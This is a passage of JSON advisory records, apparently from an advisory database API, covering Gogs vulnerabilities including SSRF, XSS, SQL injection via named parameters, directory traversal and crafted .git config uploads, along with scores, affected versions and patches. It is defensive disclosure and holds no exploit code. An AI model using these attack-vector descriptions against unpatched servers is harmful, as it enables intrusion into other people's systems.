https://github.com/gogs/gogs/issues/6919.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T20:48:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-ff28-f46g-r9g8","https://nvd.nist.gov/vuln/detail/CVE-2022-1464","https://github.com/gogs/gogs/commit/bc77440b301ac8780698be91dff1ac33b7cee850","https://huntr.dev/bounties/34a12146-3a5d-4efc-a0f8-7a3ae04b198d","https://github.com/advisories/GHSA-ff28-f46g-r9g8"],"source_kind":"github","identifiers":["GHSA-ff28-f46g-r9g8","CVE-2022-1464"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:24.637Z","updated_at":"2026-09-03T07:14:18.723Z","epss_percentage":0.00708,"epss_percentile":0.5069,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjI4LWY0NmctcjlnOM4AAqwa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZjI4LWY0NmctcjlnOM4AAqwa","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.7","vulnerable_version_range":"\u003c 0.12.7"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjI4LWY0NmctcjlnOM4AAqwa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZzN4LXJ3cTktNzRjd84AAVV9","url":"https://github.com/advisories/GHSA-fg3x-rwq9-74cw","title":"Gogs and Gitea SSRF Vulnerability","description":"An SSRF vulnerability in webhooks in Gitea through 1.5.0-rc2 and Gogs through 0.11.53 allows remote attackers to access intranet services.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-14T02:20:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-15192","https://github.com/go-gitea/gitea/issues/4624","https://github.com/gogs/gogs/issues/5366","https://github.com/go-gitea/gitea/pull/17482","https://github.com/gogs/gogs/pull/6002","https://github.com/go-gitea/gitea/commit/599ff1c054e436daa4dc3f049aa8661d9c2395f9","https://github.com/gogs/gogs/commit/22717a1c064511cf37c46af5e650baf7184cf25b","https://github.com/advisories/GHSA-fg3x-rwq9-74cw"],"source_kind":"github","identifiers":["GHSA-fg3x-rwq9-74cw","CVE-2018-15192"],"repository_url":"https://github.com/go-gitea/gitea","blast_radius":0.0,"created_at":"2023-07-25T20:03:42.359Z","updated_at":"2026-09-03T07:11:03.364Z","epss_percentage":0.02103,"epss_percentile":0.80417,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzN4LXJ3cTktNzRjd84AAVV9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZzN4LXJ3cTktNzRjd84AAVV9","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.0","vulnerable_version_range":"\u003c 0.12.0"}],"purl":"pkg:go/gogs.io%2Fgogs"},{"ecosystem":"go","package_name":"code.gitea.io/gitea","versions":[{"first_patched_version":"1.16.0-rc1","vulnerable_version_range":"\u003c 1.16.0-rc1"}],"purl":"pkg:go/code.gitea.io%2Fgitea"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzN4LXJ3cTktNzRjd84AAVV9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1weDVyLWZxajYtcjJmOM4AAU4j","url":"https://github.com/advisories/GHSA-px5r-fqj6-r2f8","title":"Gogs XSS Vulnerability","description":"In Gogs 0.11.53, an attacker can use a crafted .eml file to trigger MIME type sniffing, which leads to XSS, as demonstrated by Internet Explorer, because an \"X-Content-Type-Options: nosniff\" header is not sent.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-14T02:01:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-17031","https://github.com/gogs/gogs/issues/5397","https://github.com/gogs/gogs/pull/6008","https://github.com/gogs/gogs/commit/e14b6abf9dae13bc087c9d9db8fe7c7a5125c792","https://github.com/advisories/GHSA-px5r-fqj6-r2f8"],"source_kind":"github","identifiers":["GHSA-px5r-fqj6-r2f8","CVE-2018-17031"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2023-07-25T21:03:37.077Z","updated_at":"2026-09-03T07:11:05.617Z","epss_percentage":0.00869,"epss_percentile":0.5626,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1weDVyLWZxajYtcjJmOM4AAU4j","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1weDVyLWZxajYtcjJmOM4AAU4j","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.0","vulnerable_version_range":"\u003c= 0.11.53"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1weDVyLWZxajYtcjJmOM4AAU4j/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05aHhnLXc3cWYtaGg5M84AAUTC","url":"https://github.com/advisories/GHSA-9hxg-w7qf-hh93","title":"Gogs Directory Traversal","description":"In pkg/tool/path.go in Gogs before 0.11.82.1218, a directory traversal in the file-upload functionality can allow an attacker to create a file under data/sessions on the server, a similar issue to CVE-2018-18925.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-14T01:37:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-20303","https://github.com/gogs/gogs/issues/5558","https://github.com/gogs/gogs/commit/ff93d9dbda5cebe90d86e4b7dfb2c6b8642970ce","https://pentesterlab.com/exercises/cve-2018-18925","https://github.com/advisories/GHSA-9hxg-w7qf-hh93"],"source_kind":"github","identifiers":["GHSA-9hxg-w7qf-hh93","CVE-2018-20303"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2023-07-25T19:03:40.270Z","updated_at":"2026-09-03T07:02:20.658Z","epss_percentage":0.03202,"epss_percentile":0.87235,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aHhnLXc3cWYtaGg5M84AAUTC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05aHhnLXc3cWYtaGg5M84AAUTC","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.11.80-0.20181218063808-ff93d9dbda5c","vulnerable_version_range":"\u003c 0.11.80-0.20181218063808-ff93d9dbda5c"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aHhnLXc3cWYtaGg5M84AAUTC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Z2poLTVqNGYtY3B3ds02Hg","url":"https://github.com/advisories/GHSA-5gjh-5j4f-cpwv","title":"Unrestricted Upload of File with Dangerous Type in Gogs","description":"### Impact\n\nThe malicious user is able to upload a crafted `config` file into repository's `.git` directory with to gain SSH access to the server. All installations with [repository upload enabled (default)](https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L127-L129) are affected.\n\n### Patches\n\nRepository file uploads are prohibited to its `.git` directory. Users should upgrade to 0.12.6 or the latest 0.13.0+dev.\n\n### Workarounds\n\n[Disable repository files upload](https://github.com/gogs/gogs/blob/f36eeedbf89328ee70cc3a2e239f6314f9021f58/conf/app.ini#L128-L129).\n\n### References\n\nhttps://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on #6833.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-03-28T16:46:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-5gjh-5j4f-cpwv","https://nvd.nist.gov/vuln/detail/CVE-2022-0415","https://github.com/gogs/gogs/issues/6833","https://github.com/gogs/gogs/pull/6838","https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284","https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902","https://github.com/advisories/GHSA-5gjh-5j4f-cpwv"],"source_kind":"github","identifiers":["GHSA-5gjh-5j4f-cpwv","CVE-2022-0415"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:31.856Z","updated_at":"2026-08-15T20:20:33.749Z","epss_percentage":0.65237,"epss_percentile":0.99153,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2poLTVqNGYtY3B3ds02Hg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Z2poLTVqNGYtY3B3ds02Hg","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.6","vulnerable_version_range":"\u003c 0.12.6"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2poLTVqNGYtY3B3ds02Hg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ndzVoLWg2aGotZjU2Z80ymw","url":"https://github.com/advisories/GHSA-gw5h-h6hj-f56g","title":"Gogs vulnerable to improper PAM authorization handling","description":"### Impact\n\nExpired PAM accounts and accounts with expired passwords are continued to be seen as valid. Installations use PAM as authentication sources are affected.\n\n### Patches\n\nExpired PAM accounts and accounts with expired passwords are no longer being seen as valid. Users should upgrade to 0.12.5 or the latest 0.13.0+dev.\n\n### Workarounds\n\nIn addition to marking PAM accounts as expired, also disable/lock them. Running `usermod -L \u003cusername\u003e` will add an exclamation mark to the password hash and would result in wrong passwords responses when trying to login. \n\n### References\n\nhttps://huntr.dev/bounties/ea82cfc9-b55c-41fe-ae58-0d0e0bd7ab62/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/6810.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-03-14T22:58:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-gw5h-h6hj-f56g","https://github.com/gogs/gogs/commit/64102be2c90e1b47dbdd379873ba76c80d4b0e78","https://huntr.dev/bounties/ea82cfc9-b55c-41fe-ae58-0d0e0bd7ab62","https://nvd.nist.gov/vuln/detail/CVE-2022-0871","https://github.com/gogs/gogs/issues/6810","https://github.com/advisories/GHSA-gw5h-h6hj-f56g"],"source_kind":"github","identifiers":["GHSA-gw5h-h6hj-f56g","CVE-2022-0871"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:33.529Z","updated_at":"2026-09-03T07:14:28.512Z","epss_percentage":0.0124,"epss_percentile":0.66841,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndzVoLWg2aGotZjU2Z80ymw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ndzVoLWg2aGotZjU2Z80ymw","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.5","vulnerable_version_range":"\u003c 0.12.5"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ndzVoLWg2aGotZjU2Z80ymw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xMzQ3LWNnNTYtcGNxNM0ymg","url":"https://github.com/advisories/GHSA-q347-cg56-pcq4","title":"SSRF in repository migration","description":"### Impact\n\nThe malicious user is able to discover services in the internal network through repository migration functionality. All installations accepting public traffic are affected.\n\n### Patches\n\nInternal network CIDRs are prohibited to be used as repository migration targets. Users should upgrade to 0.12.5 or the latest 0.13.0+dev.\n\n### Workarounds\n\nRun Gogs in its own private network.\n\n### References\n\nhttps://www.huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on #6754.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-03-14T22:57:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-q347-cg56-pcq4","https://www.huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531/","https://github.com/advisories/GHSA-q347-cg56-pcq4"],"source_kind":"github","identifiers":["GHSA-q347-cg56-pcq4"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:33.557Z","updated_at":"2026-08-15T20:20:36.140Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xMzQ3LWNnNTYtcGNxNM0ymg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xMzQ3LWNnNTYtcGNxNM0ymg","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.5","vulnerable_version_range":"\u003c 0.12.5"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xMzQ3LWNnNTYtcGNxNM0ymg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03djVyLXI5OTUtcTJ4Ms0yUQ","url":"https://github.com/advisories/GHSA-7v5r-r995-q2x2","title":"SSRF in repository migration","description":"Gogs is a self-hosted Git service. The malicious user is able to discover services in the internal network through repository migration functionality. All installations accepting public traffic are affected. Internal network CIDRs are prohibited to be used as repository migration targets. Users should upgrade to 0.12.5 or the latest 0.13.0+dev. Gogs should be ran in its own private network until users can update.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-03-12T00:00:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-0870","https://github.com/gogs/gogs/commit/91f2cde5e95f146bfe4765e837e7282df6c7cabb","https://huntr.dev/bounties/327797d7-ae41-498f-9bff-cc0bf98cf531","https://github.com/advisories/GHSA-7v5r-r995-q2x2"],"source_kind":"github","identifiers":["GHSA-7v5r-r995-q2x2","CVE-2022-0870"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:33.547Z","updated_at":"2026-08-15T20:20:36.140Z","epss_percentage":0.03422,"epss_percentile":0.875,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03djVyLXI5OTUtcTJ4Ms0yUQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03djVyLXI5OTUtcTJ4Ms0yUQ","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.5","vulnerable_version_range":"\u003c 0.12.5"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03djVyLXI5OTUtcTJ4Ms0yUQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NWYzLTMyNzgtN202Nc0yUA","url":"https://github.com/advisories/GHSA-65f3-3278-7m65","title":"Duplicate Advisory: Improper Authorization in Gogs","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-gw5h-h6hj-f56g. This link is maintained to preserve external references.\n\n## Original Description\n### Impact\n\nExpired PAM accounts and accounts with expired passwords are continued to be seen as valid. Installations use PAM as authentication sources are affected.\n\n### Patches\n\nExpired PAM accounts and accounts with expired passwords are no longer being seen as valid. Users should upgrade to 0.12.5 or the latest 0.13.0+dev.\n\n### Workarounds\n\nIn addition to marking PAM accounts as expired, also disable/lock them. Running `usermod -L \u003cusername\u003e` will add an exclamation mark to the password hash and would result in wrong passwords responses when trying to login. \n\n### References\n\nhttps://huntr.dev/bounties/ea82cfc9-b55c-41fe-ae58-0d0e0bd7ab62/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/6810.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-03-12T00:00:34.000Z","withdrawn_at":"2023-06-30T22:10:59.000Z","classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-0871","https://github.com/gogs/gogs/commit/64102be2c90e1b47dbdd379873ba76c80d4b0e78","https://huntr.dev/bounties/ea82cfc9-b55c-41fe-ae58-0d0e0bd7ab62","https://github.com/advisories/GHSA-65f3-3278-7m65"],"source_kind":"github","identifiers":["GHSA-65f3-3278-7m65"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:33.537Z","updated_at":"2026-08-15T20:20:36.140Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NWYzLTMyNzgtN202Nc0yUA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NWYzLTMyNzgtN202Nc0yUA","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.5","vulnerable_version_range":"\u003c 0.12.5"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NWYzLTMyNzgtN202Nc0yUA/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDQtcW03aC14ODRq","url":"https://github.com/advisories/GHSA-9hx4-qm7h-x84j","title":"Cross-site Scripting in Gogs","description":"Cross-site scripting (XSS) vulnerability in models/issue.go in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.8 allows remote attackers to inject arbitrary web script or HTML via the text parameter to api/v1/markdown.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-06-29T18:32:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2014-8683","https://github.com/gogits/gogs/commit/3abc41cccab2486012b46305827433ad6f5deade","https://exchange.xforce.ibmcloud.com/vulnerabilities/98693","https://github.com/gogits/gogs/releases/tag/v0.5.8","https://gogs.io/docs/intro/change_log.html","https://packetstormsecurity.com/files/129118/Gogs-Markdown-Renderer-Cross-Site-Scripting.html","https://seclists.org/fulldisclosure/2014/Nov/31","https://seclists.org/fulldisclosure/2014/Nov/34","https://www.securityfocus.com/archive/1/533996/100/0/threaded","https://github.com/advisories/GHSA-9hx4-qm7h-x84j"],"source_kind":"github","identifiers":["GHSA-9hx4-qm7h-x84j","CVE-2014-8683"],"repository_url":"https://github.com/gogits/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:58.145Z","updated_at":"2026-08-15T20:21:39.508Z","epss_percentage":0.01909,"epss_percentile":0.77505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDQtcW03aC14ODRq","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDQtcW03aC14ODRq","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.5.8","vulnerable_version_range":"\u003e= 0.3.1, \u003c 0.5.8"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDQtcW03aC14ODRq/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2eHYtOHEyMy13MnEz","url":"https://github.com/advisories/GHSA-g6xv-8q23-w2q3","title":"SQL Injection in Gogs","description":"Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-29T18:32:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-8682","https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d","https://exchange.xforce.ibmcloud.com/vulnerabilities/98694","https://github.com/gogits/gogs/releases/tag/v0.5.8","https://www.exploit-db.com/exploits/35238","http://gogs.io/docs/intro/change_log.html","http://packetstormsecurity.com/files/129116/Gogs-Label-Search-Blind-SQL-Injection.html","http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html","http://seclists.org/fulldisclosure/2014/Nov/31","http://seclists.org/fulldisclosure/2014/Nov/33","http://www.exploit-db.com/exploits/35238","http://www.securityfocus.com/archive/1/533995/100/0/threaded","http://www.securityfocus.com/bid/71187","https://github.com/advisories/GHSA-g6xv-8q23-w2q3"],"source_kind":"github","identifiers":["GHSA-g6xv-8q23-w2q3","CVE-2014-8682"],"repository_url":"https://github.com/gogits/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:58.154Z","updated_at":"2026-08-15T20:21:39.509Z","epss_percentage":0.33391,"epss_percentile":0.98168,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2eHYtOHEyMy13MnEz","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2eHYtOHEyMy13MnEz","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.5.8","vulnerable_version_range":"\u003e= 0.3.1, \u003c 0.5.8"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2eHYtOHEyMy13MnEz/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yNmgtY2hxcC1wOWcy","url":"https://github.com/advisories/GHSA-mr6h-chqp-p9g2","title":"SQL Injection in gogs.io/gogs","description":"SQL injection vulnerability in the GetIssues function in models/issue.go in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.6.x before 0.5.6.1025 Beta allows remote attackers to execute arbitrary SQL commands via the label parameter to user/repos/issues.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-06-29T18:32:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-8681","https://github.com/gogits/gogs/commit/83283bca4cb4e0f4ec48a28af680f0d88db3d2c8","https://exchange.xforce.ibmcloud.com/vulnerabilities/98695","https://github.com/gogits/gogs/releases/tag/v0.5.8","https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8681","https://www.exploit-db.com/exploits/35237","http://packetstormsecurity.com/files/129116/Gogs-Label-Search-Blind-SQL-Injection.html","http://seclists.org/fulldisclosure/2014/Nov/31","https://github.com/gogs/gogs/commit/83283bca4cb4e0f4ec48a28af680f0d88db3d2c8","https://pkg.go.dev/vuln/GO-2020-0021","https://seclists.org/fulldisclosure/2014/Nov/31","https://web.archive.org/web/20150711111508/http://gogs.io/docs/intro/change_log.html#v0.5.8-%40-2014-11-19","https://github.com/advisories/GHSA-mr6h-chqp-p9g2"],"source_kind":"github","identifiers":["GHSA-mr6h-chqp-p9g2","CVE-2014-8681"],"repository_url":"https://github.com/gogits/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:12:58.136Z","updated_at":"2026-08-15T20:17:00.569Z","epss_percentage":0.04437,"epss_percentile":0.90518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yNmgtY2hxcC1wOWcy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yNmgtY2hxcC1wOWcy","packages":[{"ecosystem":"go","package_name":"github.com/gogits/gogs","versions":[{"first_patched_version":"0.5.8","vulnerable_version_range":"\u003e= 0.3.1, \u003c 0.5.8"}],"purl":"pkg:go/github.com%2Fgogits%2Fgogs"},{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.5.8","vulnerable_version_range":"\u003e= 0.3.1, \u003c 0.5.8"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1yNmgtY2hxcC1wOWcy/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNwZ3ctMnd4ci1wd3cz","url":"https://github.com/advisories/GHSA-cpgw-2wxr-pww3","title":"Open Redirect","description":"Open redirect vulnerability in Gogs before 0.12 allows remote attackers to redirect users to arbitrary websites and conduct phishing attacks via an initial /\\ substring in the user/login redirect_to parameter, related to the function isValidRedirect in routes/user/auth.go.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-06-29T18:32:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-15178","https://github.com/gogs/gogs/issues/5364","https://github.com/gogs/gogs/pull/5365","https://github.com/gogs/gogs/commit/1f247cf8139cb483276cd8dd06385a800ce9d4b2","https://github.com/advisories/GHSA-cpgw-2wxr-pww3"],"source_kind":"github","identifiers":["GHSA-cpgw-2wxr-pww3","CVE-2018-15178"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:13:01.666Z","updated_at":"2026-09-03T07:15:16.332Z","epss_percentage":0.01316,"epss_percentile":0.68753,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNwZ3ctMnd4ci1wd3cz","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNwZ3ctMnd4ci1wd3cz","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.0","vulnerable_version_range":"\u003c 0.12.0"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNwZ3ctMnd4ci1wd3cz/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRjN20tdnY0Ny03YzY5","url":"https://github.com/advisories/GHSA-4c7m-vv47-7c69","title":"Insecure Permissions in Gogs","description":"In Gogs 0.11.91, MakeEmailPrimary in models/user_mail.go lacks a \"not the owner of the email\" 